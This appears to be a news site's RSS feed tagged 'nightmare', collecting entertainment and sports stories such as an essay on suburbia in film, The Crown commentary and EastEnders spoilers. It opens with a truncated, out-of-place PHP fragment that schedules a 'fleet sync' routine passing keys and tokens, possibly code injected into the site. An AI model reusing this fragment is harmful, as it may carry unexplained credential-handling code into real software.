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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); nightmare – Brief News https://briefnews.eu Latest World News. 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Mon, 26 Sep 2022 23:29:32 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png nightmare – Brief News https://briefnews.eu 32 32 Don’t Worry Darling and suburbia as the ultimate nightmare https://briefnews.eu/dont-worry-darling-and-suburbia-as-the-ultimate-nightmare/ https://briefnews.eu/dont-worry-darling-and-suburbia-as-the-ultimate-nightmare/#respond Mon, 26 Sep 2022 23:29:32 +0000 https://briefnews.eu/dont-worry-darling-and-suburbia-as-the-ultimate-nightmare/ We all know the vision: white picket fences, pastel-colored houses, green lawns, tall trees, mailboxes; children riding their bikes down the street, housewives wearing aprons and cooking pies, their delicious smell wafting out of the open window; husbands arriving late from work after a killer commute and struggling to keep a smile on their faces. This clear-cut, perfectly nauseating vision is pop culture’s eternal conception of the place that, throughout the years, has come to represent the ultimate American Dream: suburbia.

Don’t Worry Darling, Olivia Wilde’s psychological thriller starring Florence Pugh and, for some reason, Harry Styles, is the latest film terrified of but fascinated by suburbia. Taking place in the seemingly idyllic company town of Victory in California, the plot centers on Alice, a young housewife whose investigation into the origins of the utopian town and the company behind it leads to dark truths and dangerous secrets. The set-up sounds great, and It-Girl Pugh is there, so that’s certainly worth the trip to the cinema. However, Hollywood’s obsession with the dangers lurking beneath a seemingly perfect façade might be more interesting than Don’t Worry Darling‘s plot.

Suburbia has long been where some of Hollywood’s greatest minds come to play. To some — the Lynches and Carpenters of the world — suburbia has always been perverted, and their camera is just revealing the ugly truth. To others, the suburbs are alive, which means they have the potential for light and dark. This versatility is, perhaps, why we remain so intrigued by the suburbs’ potential to both enthrall and terrify us.

The suburbs are the ultimate contradiction; welcoming but wary of strangers, plain-looking on the outside but overly convoluted on the inside. They are the ultimate anesthetic, numbing the pain in some and suffocating the life out of others. Therein lies their allure because what’s scarier than a dream that can easily become a nightmare?

Settling down or just settling?

Frank and April Wheeler having a screaming match in their kitchen in the 2008 film Revolutionary Road.

The fear of settling is a powerful and prevalent theme in cinema. If ambition drives most of humanity’s greatest discoveries, settling down is basically a white flag of surrender. It signals that our time to change the world and “make a difference” has come and gone, and we’ve become watchers, rather than players, in the game of life. There’s a reason why so many young people think of settling down as a prison made out of white picket fences. It’s a life sentence of tranquility, the price you should receive after running the race. But if you’re still running it, or you didn’t bother at all, what does it mean to move to the suburbs?

There’s a lingering vibe of frustration in our idea of the suburbs. It’s no wonder some of the most jarring dramas take place in perfect communities populated by people with unrealized potential, desperately trying to stay afloat while their shattered ambitions weigh them down. Think of American Beauty, Revolutionary Road, Ordinary People, Little Children, and The Virgin Suicides, stories that use broken promises, unfulfilled dreams, and unrealized intentions to explore our collective and broken psyche.

In a way, the suburbs are a collection of disappointed people struggling to maintain some semblance of happiness. Boomers and Gen X-ers might be the people we most closely associate with the derailed fantasy of suburbia; they basically scared future generations from ever wanting the misleading fantasy of suburban bliss.

Thus, the suburbs perpetually exist in a state of 1950s and ’60s Americana, forever frozen at a certain time and place, fixated on old-fashioned ideas that embrace tradition. Nostalgia thrives in the suburbs, adding to its lack of appeal; to Hollywood, entering the suburbs is like stepping into the past, when men were men, women were women, and things were simpler. Except, they weren’t.

There’s nothing worse than being normal

Donnie, Gretchen, and Frank the bunny at an empty cinema looking at the screen in Donnie Darko.

The suburbs invite normalcy; indeed, few settings are as homogenous as suburbia. At least in Hollywood’s imagination, these close-knit communities shun everyone that’s not white and good-looking, signaling them as undesirable and turning them into the dreaded other. These condemned figures make for wonderful protagonists because audiences will instantly relate to and root for them to bring down the establishment. Underdogs will always make for compelling heroes, and the heroes of suburbia are those who don’t fit in. Because on the big screen, there’s nothing worse than being normal.

Some of suburbia’s most unforgettable heroes are … different. In fact, for the lack of a better word, they are all-around freaks. Take Donnie Darko, Jake Gyllenhaal’s emotionally troubled teenager at the center of Richard Kelly’s sci-fi of the same name. Donnie firmly stands against the close-mindedness and outright stupidity of a town that preaches faith while protecting and enabling a child molester. His trauma and emotional turmoil don’t make him special, but his willingness to admit to them does. If the suburbs are all about pretending, the hero must be a paragon of self-awareness.

Tim Burton’s fantasy-romance Edward Scissorhands features one of cinema’s most iconic and loveable freaks. Taking the word in its most literal sense, Edward Scissorhands‘ hero is “strange” come to life. The fake and pastel-colored community around him first finds him fascinating, an exotic creature brought from the confinements of his Gothic mansion to mingle with the civilized people. In the suburbs, freaks always make people feel better about their boring selves. It isn’t long before the charms wear off, and the locals show their true colors, driving Edward back to his secluded manor, away from suburbia’s vibrant life but shielded from its worst devices.

Other films like Pleasantville and Welcome to the Dollhouse use different kinds of freaks to prove their anti-suburbia agenda. The former adopts a less direct and ultimately positive approach to its condemnation, but the latter goes all in on the cruelty lurking beneath suburbia’s pleasantness. The result is still the same, though, for freaks prevail against or, at least, successfully repel intolerance and stupidity. In this peculiar sub-genre, freaks are encouraged to let their flag fly; indeed, it might be their only way out of the crushing soporific of the suburbs.

Hiding in plain sight

Sandy, Dorothy, and Jeffrey inside a car in Blue Velvet.

In the otherwise awful 2004 remake of The Stepford Wives, while Glenn Close cheekily confesses her evil plot, she asks, “Where would people never notice a town full of robots? Connecticut!” There’s a reason suburbia is a favorite setting for thrillers and horror films, for who would ever think anything bad could happen behind these pristine doors? In fact, who would ever think anything could happen at all?

Like small-town America, suburbia has a … well, small-time quality to it. These communities are never too big; they’re large enough to support an ecosystem but still confined to only a select few who fit the bill. This delusion of passivity makes them prime candidates for harrowing stories exploring the darkest corners of the human psyche.

David Lynch’s neo-noir masterpiece Blue Velvet begins with the discovery of a severed human ear on a vacant lot. His timeless and surreal mystery series Twin Peaks features the disruption of a small town after the murder of Laura Palmer, the resident homecoming queen. Lynch expertly uses suspense and a distinctive ethereal, dream-like quality to expose the ugliness in perfection. His worlds are distinctive, ethereal, almost dream-like fantasies that can easily be confused for nightmares, but that’s part of their spell. In Lynch’s opinion, there might be nothing uglier than perfection.

John Waters’ deliciously wicked yet underrated black comedy Serial Mom takes the trick of suburbia to the apex of absurdity. The titular character maims, tortures, and kills all who wrong her or her family. Their so-called crimes against her aren’t even heinous — some wouldn’t even pass for slights — but that’s not important. Beverly Sutphin is a role model of virtue, the ultimate suburban mother with the perfect family, perfect home, and perfect values; if she considers you rude, you must be, and you deserve to die. Played by a never-better Kathleen Turner, the Serial Mom is evil, hiding in plain sight, becoming one with the suburbs in her quest for perfection.

Modern projects like Desperate Housewives and WandaVision, still Marvel’s best Disney+ effort, continue the noble tradition of using the suburbs as a base of operations. In these tiny worlds, nothing is impossible, and witches can hide behind closed doors just as easily as murderers. For places so boring, the suburbs sure see a lot of action.

That’s the problem with outside appearances; you never know what’s buried underneath a perfectly cut, watered bed of grass unless you actually dig in it. But what’s the point in looking if you won’t like what you find? Freaks might find fascination in severed ears, but suburbia casts a spell of contentment on others, making it easier to bury ugly truths. Perhaps that’s the true power of suburbia: denial.

The horror within

Alice smiling at a young man in the 2022 film Don't Worry Darling.

Horror is thriving, and it might not be an overstatement to say we are living in a golden age for the genre. As Hollywood explores horror to its fullest, it continues to use suburbia as a setting for our collective nightmares. Jordan Peele, the man behind Get Out and Us, mixed horror with social commentary to craft two timely pieces that used their secluded and idealized quasi-suburban settings to eerie perfection. This year’s disturbing Airbnb nightmare, Barbarian, literally uses the interior of a quiet house to explore genuinely unnerving albeit exaggerated crimes that shouldn’t ring so uncomfortably true.

Although not a proper horror movie, Don’t Worry Darling is a psychological thriller that plays with our ideas of bliss and perfection to deliver an intriguing, if somewhat unsatisfying, time at the movies. Director Olivia Wilde rehashes many familiar themes for the film, which speaks to both the timelessness of suburbia as a setting for nightmarish stories and Hollywood’s unwillingness to step out of its self-inflicted comfort zone. But why step out of it when it has proven so effective? Hollywood isn’t just the town of “if it ain’t broke, don’t fix it” but rather “don’t fix it and break everything else around it, too.”

Suburbia isn’t going anywhere as a source of twisted entertainment. It’s the ultimate dream perverted into an inescapable nightmare, a condemnation made worse by the fact people step into it willingly. The suburbs are the trap, and the people are the animals walking into it, blinded by the bait in the middle. But that’s not even the most chilling part. No, the genuine terror comes from knowing what they are and remaining willing to sustain them. The suburbs exist because we create them, we are the architects of our own prisons. If suburbia is a nightmare, it’s because we made it so. Haven and cell, salvation and punishment; the suburbs are everything we want them to be. So don’t worry, darling; what could go wrong?

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“If you combine that with everything that fires up. The answer is I cannot wait to put the chef’s jacket, I cannot wait to get back into the kitchen.

“It was the thing I fell in love with when I was eight years old and I cannot wait to be doing it again.”

“Well you’ve got Brexit as well haven’t you?” Phillip probed.

James nodded: “You’ve got that, you’ve got supply chain from into Europe and all around the world. Who knows what’s going to happen.”

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]]> https://briefnews.eu/james-martin-on-his-fishing-exports-nightmare-im-struggling-to-get-scallops/feed/ 0 Prince Harry news: This Morning guest ‘desperately sorry’ about royal brothers ‘nightmare’ https://briefnews.eu/prince-harry-news-this-morning-guest-desperately-sorry-about-royal-brothers-nightmare/ https://briefnews.eu/prince-harry-news-this-morning-guest-desperately-sorry-about-royal-brothers-nightmare/#respond Wed, 18 Nov 2020 08:20:05 +0000 https://briefnews.eu/prince-harry-news-this-morning-guest-desperately-sorry-about-royal-brothers-nightmare/

Ms Turner and Nick Ferrari, TV presenters, told hosts Holly Willoughby and Phillip Schofield about her worries for the Sussex and Cambridge Princes. It comes as season four of the Netflix original starts showing, with this season looking at Princess Diana and Prince Charles’ relationship and more modern royal events. It comes as Harry has been criticised by experts and insiders for his deal with the streaming giant amid The Crown’s focus on his mother.

Ms Turner and Ms Willoughby were discussing whether the new season of The Crown was “too close to home” as it deals with royals that are still “very much with us”.

Ms Beverly said: “I feel desperately sorry for Harry and William to see their parents depicted in this way.

“I assume they wouldn’t watch it. Can you imagine if a film was made of your life which is only partly based on truth, which nobody really knows?

“That’s a stuff of nightmares. That’s what keeps you awake at night.”

READ MORE: Prince William and Kate Middleton’s sweet wish from their engagement interview came true

Ms Beverly went on to say that while Harry and William are royals and “their life is always going to be scrutinised”, she said she is “really uncomfortable” with the series.

Mr Schofield also questioned how the producers of The Crown would have access to some of the details in the show and said: “You never would have been told what had gone on no matter who your sources are.

“The problem is, the royal family are still people, at heart, just a family, who get hurt and stung by things which quite blatantly appear not to be true.”

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In response, Mr Beverly she said she had never seen the show as the “very reason” it doesn’t appeal to her is because it doesn’t use official sources.

She added: “I want to either watch a documentary which is based on fact and has eyewitnesses who were there at the time, or a drama.

“I am really uncomfortable watching this. I think it’s my inherent nosiness wants to know whether it’s true or not. I think there is a conflict and tension within these types of dramas.”

Mr Ferrari chose instead to address Diana’s impact on the country, and said: “It was quite incredible what this young woman brought, she wasn’t just a cover girl in the United Kingdom, she was a cover girl for the whole world and everybody empathised with her.

“Whether you talk about the work she did to bring Aids in a more progressive way, landmines, she was of a unique position. It’s the unique place that Diana had in the hearts of nation, that for me, is what’s causing upset.”

It comes after Mail on Sunday columnist Emily Andrews slammed Harry for his and Meghan Markle’s deal with Netflix.

She wrote: “How can he take money from a company that traduces his family?

“That unfeelingly recreates the Irish terrorist bomb that killed Lord Mountbatten and three others?

“That mawkishly picks over the carcass of Harry and William’s parents’ bitter marriage break-up like a vulture?”

Meanwhile, despite being a central part of The Crown’s new season, Camilla, the Duchess of Cornwall, is said to be “not fussed in the slightest” about her portrayal in the show.

A source close the Duchess said to Vanity Fair: “She has watched it, of course she has and I believe [Charles] has too.

“I don’t think she has any real issue with it. Her feeling is very much ‘never complain, never explain’.

“I imagine she’ll be tuning in with a glass of red wine to watch it, she has seen the previous series. She has a wonderful sense of humour and this won’t fuss her in the slightest.”

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]]> https://briefnews.eu/prince-harry-news-this-morning-guest-desperately-sorry-about-royal-brothers-nightmare/feed/ 0 The Simpsons Video: Voting Is a Nightmare for Homer in Timely ‘Treehouse of Horror’ Sneak Peek https://briefnews.eu/the-simpsons-video-voting-is-a-nightmare-for-homer-in-timely-treehouse-of-horror-sneak-peek/ https://briefnews.eu/the-simpsons-video-voting-is-a-nightmare-for-homer-in-timely-treehouse-of-horror-sneak-peek/#respond Fri, 30 Oct 2020 23:10:29 +0000 https://briefnews.eu/the-simpsons-video-voting-is-a-nightmare-for-homer-in-timely-treehouse-of-horror-sneak-peek/

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The Simpsons‘ annual “Treehouse of Horror” episodes do their best to scare us every year… and what could be scarier than the upcoming election?

In a sneak peek at Sunday’s episode (Fox, 8/7c), Marge nags Homer to get down to the polls and vote — at least “if you care about the three things you love most,” she says. (In Homer’s mind, that’s beer, donuts and pretzels, but never mind.) He rushes into the voting booth, but he’s stumped on one particular choice: who to vote for in the presidential race. (“Can I write in Judge Judy?”)

Lisa ducks her head in — that’s gotta be a violation of election law, right? — to lecture her father about all the awful things that have happened over the last four years, and soon, Homer is swamped by a scrolling list of all of President Trump’s “accomplishments,” from “Put children in cages” to “Looks lousy in a tennis outfit.”

Homer makes his choice and scoffs: “Who are you gonna make fun of now, late-night comics?” But this is a “Treehouse of Horror” episode after all, so of course, there’s a dark twist in store; press PLAY on the video above for a sneak peek, and then hit the comments to share your (spooky) thoughts.

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]]> https://briefnews.eu/the-simpsons-video-voting-is-a-nightmare-for-homer-in-timely-treehouse-of-horror-sneak-peek/feed/ 0 Death in Paradise boss spills on Ardal O’Hanlon co-star: ‘He’s a nightmare to work with’ https://briefnews.eu/death-in-paradise-boss-spills-on-ardal-ohanlon-co-star-hes-a-nightmare-to-work-with/ https://briefnews.eu/death-in-paradise-boss-spills-on-ardal-ohanlon-co-star-hes-a-nightmare-to-work-with/#respond Tue, 04 Feb 2020 18:41:46 +0000 http://briefnews.eu/death-in-paradise-boss-spills-on-ardal-ohanlon-co-star-hes-a-nightmare-to-work-with/

Ardal O’Hanlon has played DI Jack Mooney on the BBC show for the last three years, solving the most bizarre murders on the quietest island, but last week saw him exit for good, leaving space for his replacement DI Neville Parker (played by Ralf Little). However, in the wake of DI Jack Mooney, show bosses have now revealed some on-set secrets, letting slip who was the most difficult actor to work with.

The saying goes, never work with animals or children, and the cast of Death in Paradise certainly felt this. 

Harry the Lizard has been a staple of the show since its inception in 2011, with his first appearance startling DI Richard Poole (Ben Miller). 

Last week, Ardal’s character Jack said goodbye not just to his friends but to the island companion too, but it’s now been revealed all might not be as it seems with the tiny green creature. 

Show boss, Tim Key, has shattered the assumption he is in fact a real lizard. 

READ MORE: Death in Paradise fans fuming with DI Jack Mooney’s exits? 

Next week will see Ardal’s replacement, Ralf Little, immediately thrown into the deep end. 

Ardal explained: “I told Ralf all the cool restaurants to go to, but the only real advice I could give him, other than preparation, is stay cool, literally and metaphorically, when things go wrong. Because they will go wrong.”

“Also nothing can prepare you for the noise, the sheer cacophony on the island.

“The sun goes down at six o’clock and then the frogs and the crickets kick in. 

“They don’t stop for 12 hours, it gets louder and louder. Then the wild dogs start barking and start chasing the wild hens. It is chaos out there, madness.”

Ardal’s replacement, Ralf admitted his mum thought taking the role of DI Neville Parker could be a disaster.

He told the Radio Times: “Mum went, ‘But what if no one likes you and they stop watching it?’

“I was like, ‘Thanks, Mum!’ So I hope I don’t affect Death in Paradise like George Clooney did Batman, so only Christian Bale can come in and revive it.

“We’re not supposed to reveal any details of how Ardal leaves and I join Death in Paradise, but it’s so exciting.”

Death in Paradise continues on BBC this Thursday at 9pm.

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]]> https://briefnews.eu/death-in-paradise-boss-spills-on-ardal-ohanlon-co-star-hes-a-nightmare-to-work-with/feed/ 0 Madam Secretary's Keith Carradine Talks Dalton's Nicaragua Nightmare https://briefnews.eu/madam-secretarys-keith-carradine-talks-daltons-nicaragua-nightmare/ https://briefnews.eu/madam-secretarys-keith-carradine-talks-daltons-nicaragua-nightmare/#respond Mon, 18 Feb 2019 18:11:28 +0000 http://briefnews.eu/madam-secretarys-keith-carradine-talks-daltons-nicaragua-nightmare/ Madam Secretary‘s President Dalton is known for being a man of action, a leader who swiftly gathers his cabinet’s counsel then moves forward with decisive action. So his hesitant approach to an international incident — which played out in Sunday’s episode — was something portrayer Keith Carradine hadn’t often encountered in five seasons of portraying the fictional POTUS. And when he had, the matter was literally life or death.

Carradine recalls Dalton’s brain tumor in Season 4, which impaired the commander-in-chief’s judgment and led his advisers to consider using the 25th Amendment to replace him. Though everyone (and the country) emerged from that crisis unscathed, “one of the things that was mentioned, and that he lives with, is that [the tumor] could come back,” the actor tells TVLine. “It’s always under the surface in my mind, that sort of niggling self-doubt that will always be there ever since he had that experience.”

Sunday’s installment chronicled an incident that happened in 1983, when Dalton was CIA station chief in Nicaragua. Via flashbacks, viewers saw an op that went very wrong and ended with the death of President Sandino’s wife. In the present-day, Sandino’s son was the Central American country’s dictator-esque president himself. Dalton’s guilt over his involvement in the man’s mother’s death caused him to hold off on taking a strong stance when the Nicaraguan president OK’d a military siege against some charity workers — including a few Americans — holed up in a church.

Read on for Carradine’s take on Dalton’s daring attempt to rectify the situation in both timelines, and make sure to stick around for his take on what Conrad’s life might look like the day after Elizabeth (fingers crossed!) takes over the Oval Office.

Madam Secretary Season 5 Episode 14 Keith Carradine InterviewTVLINE | If Dalton were still CIA station chief in Nicaragua, do you think he’d still be willing to throw himself into a dangerous situation with Sandino Jr. the way he did with Sandino Sr.?
No. I think he might have gained a little wisdom with age. That was somewhat reckless, and I think that kind of recklessness is the providence of youth, is it not? Perhaps if he had to do it again, I think he probably would have found a more judicious way to try to disarm the situation.

TVLINE | He never told Elizabeth that he directly approached Sandino Sr. It’s a surprise to her when she reads it in the file. They’re close friends. Why do you think he never brought it up?
Well, I think that it was…for me that would have been a case of people only need to know what they need to know, and that was not a need-to-know for her, as far as he was concerned at the time. And I think that that’s about compartmentalizing the process and not wanting to put people in a position of being involved in something that might prove to be sticky for themselves, for their own position within the agency. I think he was probably, in a certain way, protecting those who didn’t participate in that particular operation.

TVLINE | Do you think that Dalton sees the Nicaragua incident as one of the major failures of his career?
I certainly think he carries that as in his bag of mistakes that weigh on him, you know? Absolutely. Those kinds of mistakes, when they are made and the consequences of them, can lead to how one thinks forward from that, and the kinds of decisions one makes having made those mistakes.

Madam Secretary Season 5 Episode 14 Keith Carradine InterviewTVLINE | I’m guessing you probably have not discussed this at all with the show, and it’s far off, but what do you think Dalton’s retirement plan could be? What will he do, first thing, the first morning he’s not president?
Sleep in. [Laughs]

TVLINE | I’ve often wondered how it feels when you go from being the leader of the free world one day to being a normal American citizen the next.
It has to be an extraordinary change. You know, we’ve watched Obama in his retirement from the presidency, and he’s remained extremely active. He’s obviously an active participant in our democracy and the preservation of such. I think he’s very committed to that, and I would imagine that Dalton, the nature of his character is such that he would probably try to remain some kind of a force for positive, forward movement in our society,  in our country and in our democracy. I don’t think Dalton… He doesn’t strike me as a president who takes a whole lot of executive time.

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]]> https://briefnews.eu/madam-secretarys-keith-carradine-talks-daltons-nicaragua-nightmare/feed/ 0 Facebook’s esports dreams face the privacy PR nightmare https://briefnews.eu/facebooks-esports-dreams-face-the-privacy-pr-nightmare/ https://briefnews.eu/facebooks-esports-dreams-face-the-privacy-pr-nightmare/#respond Fri, 08 Feb 2019 07:55:58 +0000 http://briefnews.eu/facebooks-esports-dreams-face-the-privacy-pr-nightmare/ Mark Zuckerberg testifies in front of the House Energy and Commerce Committee on April 11, 2018.

There’s a long road back to the trust Facebook will need for gaming to be sustainable. Based on the last couple of years, it now seems like an unlikely result for Facebook.Read More

]]> https://briefnews.eu/facebooks-esports-dreams-face-the-privacy-pr-nightmare/feed/ 0 Nightmare Hawaiian Airlines Flight Spends 3 Hours Airborne Flying LAX to LAX to… LAX https://briefnews.eu/nightmare-hawaiian-airlines-flight-spends-3-hours-airborne-flying-lax-to-lax-to-lax/ https://briefnews.eu/nightmare-hawaiian-airlines-flight-spends-3-hours-airborne-flying-lax-to-lax-to-lax/#respond Sun, 03 Feb 2019 09:02:37 +0000 http://briefnews.eu/nightmare-hawaiian-airlines-flight-spends-3-hours-airborne-flying-lax-to-lax-to-lax/

Hawaiian Airlines Flight Spends 3 Hours Airborne Flying LAX to… LAX

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]]> https://briefnews.eu/nightmare-hawaiian-airlines-flight-spends-3-hours-airborne-flying-lax-to-lax-to-lax/feed/ 0 EastEnders spoilers: Arshad family to expand with ‘NIGHTMARE’ newcomers Iqra and Habiba https://briefnews.eu/eastenders-spoilers-arshad-family-to-expand-with-nightmare-newcomers-iqra-and-habiba/ https://briefnews.eu/eastenders-spoilers-arshad-family-to-expand-with-nightmare-newcomers-iqra-and-habiba/#respond Thu, 20 Dec 2018 03:12:11 +0000 http://briefnews.eu/eastenders-spoilers-arshad-family-to-expand-with-nightmare-newcomers-iqra-and-habiba/

Arshad (played by Madhav Sharma) and Mariam (Indira Joshi) will be joined by their two feisty granddaughters on EastEnders.

Iqra (Priya Davdra) and Habiba (Rukku Nahar) will storm onto screens in the New Year, and it had been warned they are a “force to be reckoned with”.

The BBC soap has teased: “Defiant, smart and confident the sisters quickly make an impact on Walford. Eldest of the two, Iqra is no-nonsense, bold and intelligent and she arrives in Walford with a clear goal but she soon learns that life in the Square is never simple, especially when her sister is involved.

“Full of heart, the bubbly Habiba is full of the best intentions but trouble never seems to be too far behind but luckily for Habiba, neither is her sister who often has to clear up her sister’s mess.

“As soon as they arrive in Walford they are quick to spin their Uncle Masood a lie about why they’re there but as the girls settle into life at number 41 it soon becomes clear their arrival may not be all as it seems…”

So viewers will have to wait and see what havoc the troublesome twosome cause when they arrive and why they are really there.

Habiba star Rukku may be a familiar face to soap fans as she previously starred in Hollyoaks as Asha Kaur.

She’s also enjoyed roles in Wolfblood, Casualty and Doctors.

One joining the iconic soap, Rukku said: “I’m so excited to have joined EastEnders, it’s a show I’ve grown up watching and stepping onto Albert Square is just unreal!

“Habiba is great fun to play and I’m so happy to be working alongside Priya.

“Can’t wait for you all to see what we get up to on the Square.”

Meanwhile, this marks the first television role for Iqra actress Priya.

She divulged: “EastEnders was such a big part of my life growing up and I couldn’t be more excited to be joining the show.

“Walking on to the set for the first time was such an amazing experience.

“I can’t wait for viewers to meet the sisters and see how much drama they’re going to cause.”

New Senior Executive Producer Kate Oates has described the sisters as a “nightmare”.

The soap boss said: “The sisters are certainly going to be a force to be reckoned with.

“Their arrival will throw number 41 into chaos as they become a nightmare for Mariam and Arshad.

“Residents of Walford beware, take on one of the sisters and you take on the pair.”

EastEnders continues tonight at 7.30pm on BBC One.

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]]> https://briefnews.eu/eastenders-spoilers-arshad-family-to-expand-with-nightmare-newcomers-iqra-and-habiba/feed/ 0 Voice contestant’s national anthem nightmare https://briefnews.eu/voice-contestants-national-anthem-nightmare/ https://briefnews.eu/voice-contestants-national-anthem-nightmare/#respond Thu, 20 Dec 2018 03:09:33 +0000 http://briefnews.eu/voice-contestants-national-anthem-nightmare/ It was a huge day in the NBA on Thursday with 12 games across the league.

Here are all the big stories.

VOICE CONTESTANT BLUNDERS THROUGH ANTHEM

Country singer Audra McLaughlin was left devastated when she forgot the words to the American national anthem just moments before the 76ers game against New York tipped off in Philadelphia.

The former finalist on season six of TV show The Voice, has since issued a series of apologies on social media — after her unfortunate choke began to spread across the internet.

McLaughlin sang her heart out in a spirited performance right up until she skipped several lines towards the end of her Star Spangled Banner rendition.

After clearly foregeting the words in the middle of a line, McLaughlin simply skipped to the final line of the song and got stuck into: “For the land of the free and the home of the brave”.

There was an awkward, silent pause around the Wells Fargo Arena immediately after she’d finished before the team’s court announcer stepped in to continue the pre-match proceedings.

It’s just unfortunate that the Sixers on Thursday just happened to be honouring troops from the 314th recruiting squadron colour guard.

She made a fast exit as soon as the anthem was concluded.

McLaughlin responded to criticism online by asking for forgiveness after an innocent mistake.

BEN SIMMONS BALLS OUT IN PLAYGROUND EXHIBITION

Ben Simmons recorded his fourth triple double of the season as the Sixers stormed to a big win over New York in Philadelphia.

Simmons delivered one of his best match-day highlight reels of this season before finishing with 13 points, 11 rebounds and 10 assists.

Star centre Joel Embiid also had a big game to finish with 24 points and 10 rebounds as Philly raced to a comfortable 131-109 victory that improves their record to 20-12.

More impressive than Simmons’ statline, was the series of bonkers highlights that got his team fired up.

After showing incredible defensive intensity and proving to be unguardable one-on-one in the first half, Simmons stepped it up late in the game when he bulldozed Knicks forward Noah Vonleh and then gave him a staredown after throwing it down.

Simmons said after the game he wasn’t even satisfied with his performance.

AUSSIE AARON BAYNES SUFFERS UGLY INJURY

It was a new low for the struggling Celtics when they lost Aussie centre Aron Baynes to a serious hand injury and crumbled to battler Phoenix on Thursday.

Baynes will be out indefinitely after breaking a bone in his left hand against the Suns.

Baynes blocked a pass, shook his hand in visible pain and walked off the court straight to the locker room during a time-out early in the opening quarter. He was followed by member of the team’s medical staff.

Celtics coach Brad Stevens said after the 111-103 loss that Baynes had already undergone scans which showed a clear break.

“I saw the X-rays, so I can confirm it,” Stevens said.

“Even I could see the break.”

It has put the Celtics in a bad way with centre Al Horford already missing the past five games with patellar tendinitis in his left knee.

— with AP

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